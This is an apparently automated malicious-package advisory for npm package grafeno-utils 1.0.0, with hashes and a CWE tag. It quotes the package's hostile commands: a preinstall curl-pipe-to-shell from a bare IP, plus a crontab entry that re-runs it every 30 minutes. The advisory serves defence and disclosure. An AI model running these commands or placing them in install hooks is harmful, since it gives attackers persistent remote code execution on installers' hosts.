grafeno-utils

{"modified":"2026-08-28T23:02:25Z","published":"2026-08-28T23:02:25Z","schema_version":"1.7.4","id":"MAL-2026-15509","summary":"Malicious code in grafeno-utils (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad)\nThe package's package.json preinstall lifecycle hook uses child_process to run `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and piping it to /bin/bash at `npm install` time. The same preinstall additionally appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, re-fetching and re-executing that remote script every 30 minutes and providing persistent remote code execution on the installer's host beyond the initial install. The destination is a hardcoded bare IPv4 address with no TLS and no integrity check; the fetched content is unpinned and attacker-mutable. This satisfies both install-time remote code execution and a backdoor persistence mechanism against the installer.\n","affected":[{"package":{"ecosystem":"npm","name":"grafeno-utils"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"0480e6d81e88f9c5a5cb9c083f67177cba2416a253c96a0dfe062bad339f8288","tlsh":"89f050b49920f5736bca41312f6942b6f7d348450908bc046707015ca2ee3d35dfd85b"}],"package_integrity":[{"filename":"grafeno-utils-1.0.0.tgz","hashes":{"sha1":"9bea4fc5e8c70d07cc6323643bd6e1275e2a01e8","sha512_sri":"sha512-vVIVWe4lPuGBTy4Fsn5EjiR2E0zxUjnvo/N2+17wy9u2dEp5f66robYTT48xh3Arvzj70d0TFgjnX7jyjWi+3w=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-utils/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019066","import_time":"2026-08-28T23:14:35.726610658Z","modified_time":"2026-08-28T23:02:25Z","sha256":"5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad","source":"amazon-inspector","versions":["1.0.0"]}]}}